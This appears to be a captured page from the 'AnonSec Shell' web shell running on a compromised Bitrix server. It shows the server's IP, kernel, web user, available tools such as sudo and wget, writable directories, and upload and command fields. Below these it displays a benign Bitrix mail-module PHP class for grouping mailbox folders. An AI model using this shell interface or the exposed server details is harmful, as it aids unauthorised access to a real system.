AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.21.104.31
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/mail/lib/internals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/mail/lib/internals//mailboxdirectorystorage.php
<?php

namespace Bitrix\Mail\Internals;

use Bitrix\Mail\MailboxDirectory;
use Bitrix\Main\Text\Emoji;

class MailboxDirectoryStorage
{
	private $mailboxId = null;
	private $data = [];

	public function __construct($mailboxId)
	{
		$this->mailboxId = $mailboxId;

		$this->init();
	}

	public function init()
	{
		$items = MailboxDirectory::fetchAll($this->mailboxId);

		$this->set($items);
	}

	public function set(array $items)
	{
		$this->group($items);
	}

	public function get(string $key, $default = null)
	{
		return $this->getData($key, $default);
	}

	public function getByHash(string $key)
	{
		$list = $this->get('hashed', []);
		return isset($list[$key]) ? $list[$key] : null;
	}

	public function getByPath(string $key)
	{
		$key = Emoji::decode($key);
		$list = $this->get('all', []);
		return isset($list[$key]) ? $list[$key] : null;
	}

	private function has(string $key)
	{
		return isset($this->data[$key]);
	}

	private function remove(string $key)
	{
		if (isset($this->data[$key]))
		{
			unset($this->data[$key]);
		}
	}

	private function reset()
	{
		$this->data = [];
	}

	private function getData(string $key, $default = null)
	{
		return $this->has($key) ? $this->data[$key] : $default;
	}

	private function setData($name, $value)
	{
		$this->data[$name] = $value;
	}

	private function group($items)
	{
		$all = [];
		$income = [];
		$outcome = [];
		$spam = [];
		$trash = [];
		$draft = [];
		$hashed = [];

		foreach ($items as $item)
		{
			$all[$item->getPath()] = $item;
			$hashed[$item->getDirMd5()] = $item;

			if ($item->isIncome())
			{
				$income[] = $item;
			}

			if ($item->isOutcome())
			{
				$outcome[] = $item;
			}

			if ($item->isSpam())
			{
				$spam[] = $item;
			}

			if ($item->isDraft())
			{
				$draft[] = $item;
			}

			if ($item->isTrash())
			{
				$trash[] = $item;
			}
		}

		$this->reset();
		$this->setData('all', $all);
		$this->setData('income', $income);
		$this->setData('outcome', $outcome);
		$this->setData('spam', $spam);
		$this->setData('trash', $trash);
		$this->setData('draft', $draft);
		$this->setData('hashed', $hashed);
	}
}

Anon7 - 2022
AnonSec Team